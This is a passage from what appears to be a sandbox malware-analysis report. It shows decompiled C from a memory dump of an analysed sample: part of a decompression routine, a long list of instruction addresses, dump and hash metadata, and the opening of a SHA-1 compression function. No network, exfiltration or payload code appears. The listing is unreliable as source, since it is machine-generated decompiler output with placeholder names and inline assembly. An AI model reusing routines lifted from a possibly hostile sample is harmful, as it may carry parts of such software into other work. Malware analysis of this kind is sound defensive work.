																	_t687 = _t687 + 0xc;
																	_t641 = 8;
																	_t493 = _t493 + _t641;
																	_t676 = _t676 + _t641;
																	_t670 = _t670 - _t641;
																	_t660 = _t660 - 1;
																	__eflags = _t660;
																} while (_t660 != 0);
																goto L83;
															}
															_t560 = _t670 >> 3;
															__eflags = _t560;
															do {
																_t670 = _t670 - _t641;
																 *_t676 =  *_t493;
																 *((char*)(_t676 + 1)) =  *((intOrPtr*)(_t493 + 1));
																 *((char*)(_t676 + 2)) =  *((intOrPtr*)(_t493 + 2));
																 *((char*)(_t676 + 3)) =  *((intOrPtr*)(_t493 + 3));
																 *((char*)(_t676 + 4)) =  *((intOrPtr*)(_t493 + 4));
																 *((char*)(_t676 + 5)) =  *((intOrPtr*)(_t493 + 5));
																 *((char*)(_t676 + 6)) =  *((intOrPtr*)(_t493 + 6));
																_t455 =  *((intOrPtr*)(_t493 + 7));
																_t493 = _t493 + _t641;
																 *((char*)(_t676 + 7)) = _t455;
																_t676 = _t676 + _t641;
																_t560 = _t560 - 1;
																__eflags = _t560;
															} while (_t560 != 0);
															goto L84;
														}
													}
													__eflags = _t434 - 4;
													if(__eflags < 0) {
														_t456 = E00CD9947( *((intOrPtr*)(_t687 + 0x10)), __eflags);
														_t642 =  *((intOrPtr*)(_t687 + 0x10));
														_t562 = 0x20;
														_t565 =  *((intOrPtr*)( *((intOrPtr*)(_t687 + 0x10)) + 4)) +  *(_t687 + 0x1c);
														_t680 = (_t456 >> _t562 -  *(_t687 + 0x1c)) +  *(_t687 + 0x2c);
														 *_t642 =  *_t642 + (_t565 >> 3);
														_t566 = _t565 & 0x00000007;
														__eflags = _t566;
														 *(_t642 + 4) = _t566;
														L69:
														 *(_t687 + 0x18) = _t680;
														goto L70;
													}
													if(__eflags <= 0) {
														_t643 =  *((intOrPtr*)(_t687 + 0x10));
													} else {
														_t471 = E00CD9947( *((intOrPtr*)(_t687 + 0x10)), __eflags);
														_t653 =  *(_t687 + 0x1c);
														_t582 = 0x24;
														_t585 =  *((intOrPtr*)( *((intOrPtr*)(_t687 + 0x10)) + 4)) + _t653 + 0xfffffffc;
														_t643 =  *((intOrPtr*)(_t687 + 0x10));
														_t680 = (_t471 >> _t582 - _t653 << 4) +  *(_t687 + 0x2c);
														 *_t643 =  *_t643 + (_t585 >> 3);
														 *(_t643 + 4) = _t585 & 0x00000007;
													}
													_t460 = E00CCBC76(_t643, __eflags);
													_t644 =  *(_t491 + 0x1e8c);
													_t461 = _t460 & 0x0000fffe;
													 *(_t687 + 0x18) = _t461;
													__eflags = _t461 -  *((intOrPtr*)(_t491 + 0x1e0c + _t644 * 4));
													if(_t461 >=  *((intOrPtr*)(_t491 + 0x1e0c + _t644 * 4))) {
														_t568 = _t644 + 1;
														 *(_t687 + 0x1c) = 0xf;
														__eflags = _t568 - 0xf;
														if(_t568 >= 0xf) {
															L66:
															_t645 =  *((intOrPtr*)(_t687 + 0x10));
															_t570 =  *(_t645 + 4) +  *(_t687 + 0x20);
															 *_t645 =  *_t645 + (_t570 >> 3);
															_t464 =  *(_t687 + 0x20);
															 *(_t645 + 4) = _t570 & 0x00000007;
															_t572 = 0x10;
															_t575 =  *((intOrPtr*)(_t491 + 0x1e4c + _t464 * 4)) + ( *(_t687 + 0x1c) -  *((intOrPtr*)(_t491 + 0x1e08 + _t464 * 4)) >> _t572 - _t464);
															__eflags = _t575 -  *((intOrPtr*)(_t491 + 0x1e08));
															asm("sbb eax, eax");
															_t465 = _t464 & _t575;
															__eflags = _t465;
															_t466 =  *(_t491 + 0x2a90 + _t465 * 2) & 0x0000ffff;
															goto L67;
														}
														_t650 = _t491 + (_t568 + 0x783) * 4;
														while(1) {
															__eflags = _t461 -  *_t650;
															if(_t461 <  *_t650) {
																break;
															}
															_t568 = _t568 + 1;
															_t650 = _t650 + 4;
															__eflags = _t568 - 0xf;
															if(_t568 < 0xf) {
																continue;
															}
															goto L66;
														}
														 *(_t687 + 0x1c) = _t568;
														goto L66;
													} else {
														_t576 = 0x10;
														_t651 =  *((intOrPtr*)(_t687 + 0x10));
														_t468 = _t461 >> _t576 - _t644;
														 *(_t687 + 0x18) = _t468;
														_t579 = ( *(_t468 + _t491 + 0x1e90) & 0x000000ff) +  *(_t651 + 4);
														 *_t651 =  *_t651 + (_t579 >> 3);
														 *(_t651 + 4) = _t579 & 0x00000007;
														_t466 =  *(_t491 + 0x2290 +  *(_t687 + 0x18) * 2) & 0x0000ffff;
														L67:
														_t680 = _t680 + (_t466 & 0x0000ffff);
														goto L69;
													}
												}
												_t680 = _t634 + 1;
												goto L69;
											}
										}
										 *( *((intOrPtr*)(_t657 + 0x4b34)) +  *(_t657 + 0x70)) = _t615;
										_t64 = _t657 + 0x70;
										 *_t64 =  *(_t657 + 0x70) + 1;
										__eflags =  *_t64;
										goto L35;
									}
									_t602 = _t491 + (_t351 + 0xd) * 4;
									while(1) {
										__eflags = _t612 -  *_t602;
										if(_t612 <  *_t602) {
											break;
										}
										_t351 = _t351 + 1;
										_t602 = _t602 + 4;
										__eflags = _t351 - 0xf;
										if(_t351 < 0xf) {
											continue;
										}
										goto L32;
									}
									_t663 = _t351;
									goto L32;
								}
								_t603 = 0x10;
								_t656 = _t612 >> _t603 - _t350;
								_t606 = ( *(_t656 + _t491 + 0xb8) & 0x000000ff) +  *(_t675 + 4);
								 *_t675 =  *_t675 + (_t606 >> 3);
								 *(_t675 + 4) = _t606 & 0x00000007;
								_t355 =  *(_t491 + 0x4b8 + _t656 * 2) & 0x0000ffff;
								goto L33;
							}
							__eflags = _t499 - _t610;
							if(__eflags == 0) {
								goto L24;
							}
							E00CD6389(_t657);
							__eflags =  *((intOrPtr*)(_t657 + 0x4c54)) -  *((intOrPtr*)(_t657 + 0x4c44));
							if(__eflags > 0) {
								L6:
								return 0;
							}
							if(__eflags < 0) {
								goto L24;
							}
							__eflags =  *((intOrPtr*)(_t657 + 0x4c50)) -  *((intOrPtr*)(_t657 + 0x4c40));
							if(__eflags > 0) {
								goto L6;
							}
							goto L24;
						}
					}
					L5:
					 *((char*)(_t491 + 0x4ad0)) = 1;
					goto L6;
				}
				 *((char*)(_t491 + 0x2c)) = 1;
				_push(_t491 + 0x30);
				_push(_t661);
				_push(_t675);
				if(E00CD5580(__ecx) == 0) {
					goto L5;
				} else {
					goto L4;
				}
			}

0x00cd8883
0x00cd888e
0x00cd8891
0x00cd8893
0x00cd8897
0x00cd889b
0x00cd889e
0x00cd88b5
0x00cd88b9
0x00cd88bc
0x00cd88c3
0x00cd88d7
0x00cd88df
0x00cd88e2
0x00cd88e6
0x00cd88ea
0x00cd88ec
0x00cd88f4
0x00cd88ee
0x00cd88ee
0x00cd88ee
0x00cd8902
0x00cd8905
0x00cd890b
0x00cd890d
0x00cd8910
0x00cd8913
0x00cd8917
0x00000000
0x00000000
0x00cd8919
0x00cd8919
0x00cd891d
0x00cd91fd
0x00000000
0x00cd91fd
0x00cd8923
0x00cd8935
0x00cd8935
0x00cd8937
0x00cd8946
0x00cd8946
0x00cd894c
0x00cd91f6
0x00cd91f6
0x00000000
0x00cd91f6
0x00000000
0x00cd894c
0x00cd8939
0x00cd8940
0x00000000
0x00000000
0x00000000
0x00cd8940
0x00cd8928
0x00cd892b
0x00000000
0x00000000
0x00cd8931
0x00000000
0x00cd8952
0x00cd8952
0x00cd895e
0x00cd8963
0x00cd8996
0x00cd8998
0x00cd899f
0x00cd89a5
0x00cd89ab
0x00cd89af
0x00cd89dd
0x00cd89de
0x00cd89df
0x00cd89e1
0x00cd89fa
0x00cd89fd
0x00cd8a04
0x00cd8a07
0x00cd8a0a
0x00cd8a13
0x00cd8a1c
0x00cd8a1e
0x00cd8a21
0x00cd8a23
0x00cd8a23
0x00cd8a25
0x00cd8a2d
0x00cd8a2d
0x00cd8a35
0x00cd8a37
0x00cd8a51
0x00cd8a57
0x00cd8ea4
0x00cd8ea6
0x00cd8ed6
0x00cd8edc
0x00cd8fe0
0x00cd8fe0
0x00cd8fe9
0x00cd8fec
0x00cd8fee
0x00cd8ff2
0x00cd9001
0x00cd9003
0x00cd9006
0x00cd900d
0x00cd9013
0x00cd9019
0x00cd9020
0x00cd904e
0x00cd904f
0x00cd9050
0x00cd9052
0x00cd906e
0x00cd9071
0x00cd9078
0x00cd907b
0x00cd907e
0x00cd908a
0x00cd9096
0x00cd9098
0x00cd909e
0x00cd90a0
0x00cd90a0
0x00cd90a2
0x00cd90aa
0x00cd90aa
0x00cd90ad
0x00cd90b0
0x00cd90c2
0x00cd90c5
0x00cd90cb
0x00cd90ce
0x00cd90d0
0x00cd90d4
0x00cd90db
0x00cd90e5
0x00cd90e7
0x00cd90f0
0x00cd90f3
0x00cd90f3
0x00cd90f6
0x00cd90f6
0x00cd90b2
0x00cd90b2
0x00cd90b2
0x00cd90f9
0x00cd9104
0x00cd9108
0x00cd910d
0x00cd9110
0x00cd9114
0x00cd9116
0x00cd91b4
0x00cd91b4
0x00cd91b8
0x00cd911c
0x00cd911c
0x00cd911e
0x00000000
0x00000000
0x00cd9124
0x00cd912c
0x00cd912f
0x00cd9135
0x00cd9136
0x00cd9139
0x00cd913b
0x00cd8dd5
0x00cd8dd5
0x00cd8dd9
0x00cd8ddb
0x00cd88fa
0x00cd88fa
0x00cd88fe
0x00cd8902
0x00cd8905
0x00cd890b
0x00cd890d
0x00cd8910
0x00cd8913
0x00cd8917
0x00000000
0x00000000
0x00000000
0x00cd8917
0x00cd8902
0x00cd8de3
0x00cd8de6
0x00cd8dea
0x00cd8ded
0x00000000
0x00000000
0x00cd8df6
0x00cd8df9
0x00cd8dfd
0x00cd8e00
0x00000000
0x00000000
0x00cd8e09
0x00cd8e0c
0x00cd8e10
0x00cd8e13
0x00000000
0x00000000
0x00cd8e1c
0x00cd8e1f
0x00cd8e23
0x00cd8e26
0x00000000
0x00000000
0x00cd8e2f
0x00cd8e32
0x00cd8e36
0x00cd8e39
0x00000000
0x00000000
0x00cd8e42
0x00cd8e45
0x00cd8e49
0x00cd8e4c
0x00000000
0x00000000
0x00cd8e55
0x00cd8e59
0x00cd8e9b
0x00cd8e9b
0x00cd8a48
0x00cd8a48
0x00cd8a4c
0x00cd8902
0x00cd8902
0x00cd8902
0x00cd8905
0x00cd890b
0x00cd890d
0x00cd8910
0x00cd8913
0x00cd8917
0x00000000
0x00000000
0x00000000
0x00cd8917
0x00cd8ef1
0x00cd8ef4
0x00cd8ef9
0x00cd8efb
0x00cd8f05
0x00cd8f0a
0x00cd8f0e
0x00cd8f10
0x00cd8fae
0x00cd8fae
0x00cd8fb4
0x00cd8fb8
0x00cd8fbe
0x00cd8fc0
0x00cd8fc4
0x00cd8fca
0x00cd8fd1
0x00cd8fd3
0x00cd8fd6
0x00cd8fd6
0x00cd8fd6
0x00cd91ed
0x00cd91ed
0x00000000
0x00cd91ed
0x00cd8f16
0x00cd8f18
0x00000000
0x00000000
0x00cd8f1e
0x00cd8f26
0x00cd8f29
0x00cd8f2f
0x00cd8f30
0x00cd8f33
0x00cd8f35
0x00000000
0x00000000
0x00cd8f3b
0x00cd8f3f
0x00cd8f87
0x00cd8f87
0x00cd8f8a
0x00cd8f8e
0x00cd8f90
0x00cd8f93
0x00cd8f98
0x00cd8f9d
0x00cd8f9e
0x00cd8fa0
0x00cd8fa2
0x00cd8fa4
0x00cd8fa4
0x00cd8fa4
0x00cd8dd1
0x00cd8dd1
0x00000000
0x00cd8dd1
0x00cd8f43
0x00cd8f43
0x00cd8f46
0x00cd8f48
0x00cd8f4a
0x00cd8f50
0x00cd8f56
0x00cd8f5c
0x00cd8f62
0x00cd8f68
0x00cd8f6e
0x00cd8f71
0x00cd8f74
0x00cd8f76
0x00cd8f79
0x00cd8f7b
0x00cd8f7b
0x00cd8f7b
0x00000000
0x00cd8f80
0x00cd91c0
0x00cd91c6
0x00cd91ca
0x00cd91d0
0x00cd91d2
0x00cd91d6
0x00cd91dc
0x00cd91e3
0x00cd91e5
0x00cd91e8
0x00cd91e8
0x00cd91e8
0x00000000
0x00cd8e5e
0x00cd8e5e
0x00cd8e62
0x00cd8e66
0x00cd8e66
0x00cd8e6e
0x00cd8e74
0x00cd8e78
0x00cd8e7e
0x00cd8e80
0x00cd8e84
0x00cd8e8a
0x00cd8e91
0x00cd8e93
0x00cd8e96
0x00cd8e96
0x00cd8e96
0x00000000
0x00cd8e78
0x00cd9141
0x00cd9145
0x00cd918d
0x00cd918d
0x00cd9190
0x00cd9194
0x00cd9196
0x00cd9199
0x00cd919e
0x00cd91a3
0x00cd91a4
0x00cd91a6
0x00cd91a8
0x00cd91aa
0x00cd91aa
0x00cd91aa
0x00000000
0x00cd91af
0x00cd9149
0x00cd9149
0x00cd914c
0x00cd914e
0x00cd9150
0x00cd9156
0x00cd915c
0x00cd9162
0x00cd9168
0x00cd916e
0x00cd9174
0x00cd9177
0x00cd917a
0x00cd917c
0x00cd917f
0x00cd9181
0x00cd9181
0x00cd9181
0x00000000
0x00cd9186
0x00cd9116
0x00cd905a
0x00cd905d
0x00cd905d
0x00cd905f
0x00000000
0x00000000
0x00cd9061
0x00cd9062
0x00cd9065
0x00cd9068
0x00000000
0x00000000
0x00000000
0x00cd906a
0x00cd906c
0x00000000
0x00cd906c
0x00cd9024
0x00cd9027
0x00cd9031
0x00cd9039
0x00cd903f
0x00cd9042
0x00000000
0x00000000
0x00000000
0x00000000
0x00cd8ff4
0x00cd8ff4
0x00cd8ff7
0x00cd8ff9
0x00cd8ffc
0x00cd8ffc
0x00cd8ffc
0x00000000
0x00cd8ff4
0x00cd8ee2
0x00cd8ee5
0x00cd8ee9
0x00cd8ee9
0x00cd8eae
0x00cd8eb0
0x00cd8eb5
0x00cd8eb7
0x00000000
0x00000000
0x00cd8ec4
0x00cd8ec9
0x00cd8ecb
0x00000000
0x00000000
0x00000000
0x00cd8ed1
0x00cd8a5d
0x00cd8a63
0x00cd8a66
0x00cd8a78
0x00cd8a7d
0x00cd8a80
0x00cd8a82
0x00cd8ab3
0x00cd8a84
0x00cd8a88
0x00cd8a8f
0x00cd8a94
0x00cd8a9d
0x00cd8a9f
0x00cd8aa8
0x00cd8aae
0x00cd8aae
0x00cd8a68
0x00cd8a68
0x00cd8a68
0x00cd8ab9
0x00cd8ac0
0x00cd8ac6
0x00cd8acc
0x00cd8ad3
0x00cd8b01
0x00cd8b02
0x00cd8b03
0x00cd8b07
0x00cd8b09
0x00cd8b27
0x00cd8b2a
0x00cd8b36
0x00cd8b39
0x00cd8b3d
0x00cd8b42
0x00cd8b55
0x00cd8b57
0x00cd8b5d
0x00cd8b5f
0x00cd8b5f
0x00cd8b61
0x00000000
0x00cd8b61
0x00cd8b11
0x00cd8b14
0x00cd8b14
0x00cd8b16
0x00000000
0x00000000
0x00cd8b18
0x00cd8b19
0x00cd8b1c
0x00cd8b1f
0x00000000
0x00000000
0x00000000
0x00cd8b21
0x00cd8b23
0x00000000
0x00cd8ad5
0x00cd8ad7
0x00cd8ada
0x00cd8ae4
0x00cd8aec
0x00cd8af2
0x00cd8af5
0x00cd8b69
0x00cd8b69
0x00cd8b6c
0x00cd8b6f
0x00cd8b83
0x00cd8b86
0x00cd8b8c
0x00cd8b8f
0x00cd8b93
0x00cd8b95
0x00cd8b99
0x00cd8b9b
0x00cd8cf4
0x00cd8cf4
0x00cd8cfa
0x00cd8cfc
0x00cd8cfd
0x00cd8d03
0x00cd8d05
0x00cd8d06
0x00cd8d0c
0x00cd8d0e
0x00cd8d0e
0x00cd8d0e
0x00cd8d0c
0x00cd8d03
0x00cd8d12
0x00cd8d18
0x00cd8d1e
0x00cd8d21
0x00cd8d24
0x00cd8d2f
0x00cd8d31
0x00cd8d36
0x00cd8d39
0x00cd8d3d
0x00cd8d3f
0x00000000
0x00cd8d45
0x00cd8d45
0x00cd8d47
0x00000000
0x00000000
0x00cd8d4d
0x00cd8d55
0x00cd8d58
0x00cd8d5e
0x00cd8d5f
0x00cd8d62
0x00cd8d64
0x00000000
0x00000000
0x00cd8d66
0x00cd8d6a
0x00cd8daf
0x00cd8daf
0x00cd8db2
0x00cd8db6
0x00cd8db8
0x00cd8dbb
0x00cd8dc0
0x00cd8dc5
0x00cd8dc6
0x00cd8dc8
0x00cd8dca
0x00cd8dcc
0x00cd8dcc
0x00cd8dcc
0x00000000
0x00cd8db8
0x00cd8d6e
0x00cd8d6e
0x00cd8d71
0x00cd8d73
0x00cd8d75
0x00cd8d7b
0x00cd8d81
0x00cd8d87
0x00cd8d8d
0x00cd8d93
0x00cd8d99
0x00cd8d9c
0x00cd8d9f
0x00cd8da1
0x00cd8da4
0x00cd8da6
0x00cd8da6
0x00cd8da6
0x00000000
0x00cd8dab
0x00cd8d3f
0x00cd8ba1
0x00cd8ba4
0x00cd8cc0
0x00cd8cc5
0x00cd8cd1
0x00cd8cdb
0x00cd8cdf
0x00cd8ce8
0x00cd8cea
0x00cd8cea
0x00cd8ced
0x00cd8cf0
0x00cd8cf0
0x00000000
0x00cd8cf0
0x00cd8baa
0x00cd8be8
0x00cd8bac
0x00cd8bb0
0x00cd8bb5
0x00cd8bc1
0x00cd8bcc
0x00cd8bd1
0x00cd8bd7
0x00cd8bde
0x00cd8be3
0x00cd8be3
0x00cd8bee
0x00cd8bf3
0x00cd8bf9
0x00cd8bfe
0x00cd8c02
0x00cd8c09
0x00cd8c40
0x00cd8c43
0x00cd8c4b
0x00cd8c4e
0x00cd8c6c
0x00cd8c6c
0x00cd8c75
0x00cd8c81
0x00cd8c83
0x00cd8c87
0x00cd8c8e
0x00cd8ca1
0x00cd8ca3
0x00cd8ca9
0x00cd8cab
0x00cd8cab
0x00cd8cad
0x00000000
0x00cd8cad
0x00cd8c56
0x00cd8c59
0x00cd8c59
0x00cd8c5b
0x00000000
0x00000000
0x00cd8c5d
0x00cd8c5e
0x00cd8c61
0x00cd8c64
0x00000000
0x00000000
0x00000000
0x00cd8c66
0x00cd8c68
0x00000000
0x00cd8c0b
0x00cd8c0d
0x00cd8c10
0x00cd8c14
0x00cd8c16
0x00cd8c22
0x00cd8c2a
0x00cd8c2f
0x00cd8c36
0x00cd8cb5
0x00cd8cb8
0x00000000
0x00cd8cb8
0x00cd8c09
0x00cd8b71
0x00000000
0x00cd8b71
0x00cd8ad3
0x00cd8a42
0x00cd8a45
0x00cd8a45
0x00cd8a45
0x00000000
0x00cd8a45
0x00cd89e6
0x00cd89e9
0x00cd89e9
0x00cd89eb
0x00000000
0x00000000
0x00cd89ed
0x00cd89ee
0x00cd89f1
0x00cd89f4
0x00000000
0x00000000
0x00000000
0x00cd89f6
0x00cd89f8
0x00000000
0x00cd89f8
0x00cd89b3
0x00cd89b6
0x00cd89c0
0x00cd89c8
0x00cd89ce
0x00cd89d1
0x00000000
0x00cd89d1
0x00cd8965
0x00cd8967
0x00000000
0x00000000
0x00cd896b
0x00cd8976
0x00cd897c
0x00cd88cc
0x00000000
0x00cd88cc
0x00cd8982
0x00000000
0x00000000
0x00cd898a
0x00cd8990
0x00000000
0x00000000
0x00000000
0x00cd8990
0x00cd8902
0x00cd88c5
0x00cd88c5
0x00000000
0x00cd88c5
0x00cd88a3
0x00cd88a7
0x00cd88a8
0x00cd88a9
0x00cd88b1
0x00000000
0x00cd88b3
0x00000000
0x00cd88b3

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 686ee81217faa8b25d92411dde72c974ae3b132d04929721e9996bdb0a46f4d9
Instruction ID: 940852bc1ae705330a6e4de5956af74257f8064d319aeb8137fba127e49e94f1
Opcode Fuzzy Hash: 686ee81217faa8b25d92411dde72c974ae3b132d04929721e9996bdb0a46f4d9
Instruction Fuzzy Hash: 006217756043459FCB18CF28C4906B9BBE1FF95304F08866EED998B386DB30E949DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CD0780 Relevance: .7, Instructions: 694
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E00CD0780(signed int* _a4, signed int* _a8, signed int* _a12, char _a16) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _t434;
				intOrPtr _t436;
				intOrPtr _t441;
				void* _t446;
				intOrPtr _t448;
				signed int _t451;
				void* _t453;
				signed int _t459;
				signed int _t465;
				signed int _t471;
				signed int _t478;
				signed int _t481;
				signed int _t488;
				signed int _t511;
				signed int _t518;
				signed int _t525;
				signed int _t545;
				signed int _t554;
				signed int _t563;
				signed int* _t591;
				signed int _t592;
				signed int _t596;
				signed int _t599;
				signed int _t600;
				signed int* _t601;
				signed int _t602;
				signed int _t604;
				signed int _t606;
				signed int _t607;
				signed int* _t608;
				signed int _t609;
				signed int* _t675;
				signed int* _t746;
				signed int _t757;
				signed int _t774;
				signed int _t778;
				signed int _t782;
				signed int _t783;
				signed int _t787;
				signed int _t788;
				signed int _t792;
				signed int _t797;
				signed int _t801;
				signed int _t805;
				signed int _t807;
				signed int _t810;
				signed int* _t812;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t821;
				signed int _t822;
				signed int _t826;
				signed int _t831;
				signed int _t835;
				signed int _t839;
				signed int* _t840;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t846;
				signed int _t847;
				signed int _t849;
				signed int* _t850;
				signed int _t853;
				signed int _t857;
				signed int _t858;
				signed int* _t862;
				signed int _t863;
				signed int _t865;
				signed int _t866;
				signed int _t870;
				signed int _t871;
				signed int _t875;
				signed int _t879;
				signed int _t883;
				signed int _t887;
				signed int _t888;
				signed int* _t889;
				signed int _t890;
				signed int _t892;
				signed int _t893;
				signed int _t894;
				signed int _t896;
				signed int _t897;
				signed int _t899;
				signed int _t900;
				signed int _t902;
				signed int _t903;
				signed int* _t904;
				signed int _t905;
				signed int _t907;
				signed int _t908;
				signed int _t910;
				signed int _t911;

				_t912 =  &_v40;
				if(_a16 == 0) {
					_t840 = _a8;
					_v20 = _t840;
					E00CE2C10(_t840, _a12, 0x40);
					_t912 =  &(( &_v40)[3]);
				} else {
					_t840 = _a12;
					_v20 = _t840;
				}
				_t850 = _a4;
				_t592 = _t850[1];
				_t894 =  *_t850;
				_v28 = _t850[2];
				_v24 = _t850[3];
				_v32 = _t592;
				_v36 = 0;
				_t434 = E00CE7335( *_t840);
				asm("rol edx, 0x5");
				 *_t840 = _t434;
				_t435 = _t840;
				_t596 = (_t592 & (_v24 ^ _v28) ^ _v24) + _t894 + _t434 + _t850[4] + 0x5a827999;
				_v16 = _t840;
				_t853 = _v32;
				asm("ror esi, 0x2");
				_v32 =  &(_t840[3]);
				do {
					_t436 = E00CE7335(_t435[1]);
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v16 + 4)) = _t436;
					asm("ror ebp, 0x2");
					_v24 = _v24 + 0x5a827999 + ((_v28 ^ _t853) & _t894 ^ _v28) + _t596 + _t436;
					_t441 = E00CE7335( *((intOrPtr*)(_v32 - 4)));
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v32 - 4)) = _t441;
					asm("ror ebx, 0x2");
					_v28 = _v28 + 0x5a827999 + ((_t853 ^ _t894) & _t596 ^ _t853) + _v24 + _t441;
					_t446 = E00CE7335( *_v32);
					asm("rol edx, 0x5");
					 *_v32 = _t446;
					asm("ror dword [esp+0x2c], 0x2");
					_t853 = _t853 + ((_t596 ^ _t894) & _v24 ^ _t894) + _v28 + 0x5a827999 + _t446;
					_t448 = E00CE7335( *((intOrPtr*)(_v32 + 4)));
					_v32 = _v32 + 0x14;
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v32 + 4)) = _t448;
					_t451 = _v36 + 5;
					asm("ror dword [esp+0x2c], 0x2");
					_v36 = _t451;
					_t894 = _t894 + ((_t596 ^ _v24) & _v28 ^ _t596) + _t853 + _t448 + 0x5a827999;
					_v16 =  &(_t840[_t451]);
					_t453 = E00CE7335(_t840[_t451]);
					_t912 =  &(_t912[5]);
					asm("rol edx, 0x5");
					 *_v16 = _t453;
					_t435 = _v16;
					asm("ror esi, 0x2");
					_t596 = _t596 + 0x5a827999 + ((_v24 ^ _v28) & _t853 ^ _v24) + _t894 + _t453;
				} while (_v36 != 0xf);
				_t774 = _t840[0xe] ^ _t840[9] ^ _t840[1] ^ _t840[3];
				_v32 = _t853;
				_t857 = _t840[0xd] ^ _t840[8] ^  *_t840 ^ _t840[2];
				asm("rol ecx, 0x5");
				asm("rol esi, 1");
				asm("rol edx, 1");
				asm("ror ebp, 0x2");
				_t840[1] = _t774;
				_t459 = ((_v28 ^ _v32) & _t894 ^ _v28) + _t596 + _t857 + _v24 + 0x5a827999;
				 *_t840 = _t857;
				_v40 = _t459;
				asm("rol ecx, 0x5");
				_t778 = _t840[0xf] ^ _t840[0xa] ^ _t840[4] ^ _t840[2];
				_t465 = ((_v32 ^ _t894) & _t596 ^ _v32) + _t459 + _t774 + _v28 + 0x5a827999;
				_v36 = _t465;
				asm("ror ebx, 0x2");
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				asm("ror dword [esp+0x10], 0x2");
				_t840[2] = _t778;
				_t471 = ((_t596 ^ _t894) & _v40 ^ _t894) + _t465 + _t778 + _v32 + 0x5a827999;
				_v32 = _t471;
				asm("rol ecx, 0x5");
				_t782 = _t840[0xb] ^ _t840[5] ^ _t857 ^ _t840[3];
				_t858 = _v40;
				asm("rol edx, 1");
				_t840[3] = _t782;
				_v24 = _t596;
				asm("ror dword [esp+0x18], 0x2");
				_t783 = 0x11;
				_v28 = ((_t596 ^ _t858) & _v36 ^ _t596) + _t471 + 0x5a827999 + _t782 + _t894;
				_v16 = _t783;
				do {
					_t96 = _t783 + 5; // 0x16
					_t478 = _t96;
					_t97 = _t783 - 5; // 0xc
					_v8 = _t478;
					_t99 = _t783 + 3; // 0x14
					_t896 = _t99 & 0x0000000f;
					_v12 = _t896;
					_t599 = _t478 & 0x0000000f;
					asm("rol ecx, 0x5");
					_t787 = _t840[_t97 & 0x0000000f] ^ _t840[_t783 & 0x0000000f] ^ _t840[_t896] ^ _t840[_t599];
					_t481 = _v16;
					asm("rol edx, 1");
					_t840[_t896] = _t787;
					_t897 = _v32;
					asm("ror ebp, 0x2");
					_v32 = _t897;
					_t862 = _v20;
					_v24 = _v24 + 0x6ed9eba1 + (_t858 ^ _v36 ^ _t897) + _v28 + _t787;
					_t788 = 0xf;
					_t899 = _t481 + 0x00000004 & _t788;
					_t842 = _t481 + 0x00000006 & _t788;
					_t792 =  *(_t862 + (_t481 - 0x00000004 & _t788) * 4) ^  *(_t862 + (_t481 + 0x00000001 & _t788) * 4) ^  *(_t862 + _t899 * 4) ^  *(_t862 + _t842 * 4);
					asm("rol edx, 1");
					 *(_t862 + _t899 * 4) = _t792;
					_t863 = _v28;
					asm("rol ecx, 0x5");
					asm("ror esi, 0x2");
					_v28 = _t863;
					_t488 = _v16;
					_v40 = _v40 + 0x6ed9eba1 + (_v36 ^ _v32 ^ _t863) + _v24 + _t792;
					_t865 = _t488 + 0x00000007 & 0x0000000f;
					_t675 = _v20;
					_t797 = _v20[_t488 - 0x00000003 & 0x0000000f] ^  *(_t675 + (_t488 + 0x00000002 & 0x0000000f) * 4) ^  *(_t675 + _t865 * 4) ^  *(_t675 + _t599 * 4);
					asm("rol edx, 1");
					 *(_t675 + _t599 * 4) = _t797;
					_t600 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t600;
					_t601 = _v20;
					_v36 = _v36 + 0x6ed9eba1 + (_t600 ^ _v32 ^ _v28) + _v40 + _t797;
					asm("rol ecx, 0x5");
					_t801 =  *(_t601 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t601 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t601 + _t842 * 4) ^  *(_t601 + _v12 * 4);
					asm("rol edx, 1");
					 *(_t601 + _t842 * 4) = _t801;
					_t602 = _v24;
					_t843 = _v40;
					asm("ror edi, 0x2");
					_v40 = _t843;
					_t840 = _v20;
					_v32 = _v32 + 0x6ed9eba1 + (_t602 ^ _t843 ^ _v28) + _v36 + _t801;
					_t805 = _t840[_v16 - 0x00000007 & 0x0000000f] ^ _t840[_v16 - 0x00000001 & 0x0000000f] ^ _t840[_t865] ^ _t840[_t899];
					_t900 = _v36;
					asm("rol edx, 1");
					asm("rol ecx, 0x5");
					_t840[_t865] = _t805;
					_t858 = _v40;
					_t783 = _v8;
					asm("ror ebp, 0x2");
					_v36 = _t900;
					_v16 = _t783;
					_v28 = _v28 + 0x6ed9eba1 + (_t602 ^ _t858 ^ _t900) + _v32 + _t805;
				} while (_t783 + 3 <= 0x23);
				_t866 = 0x25;
				_v16 = _t866;
				while(1) {
					_t205 = _t866 + 5; // 0x2a
					_t511 = _t205;
					_t206 = _t866 - 5; // 0x20
					_v4 = _t511;
					_t208 = _t866 + 3; // 0x28
					_t807 = _t208 & 0x0000000f;
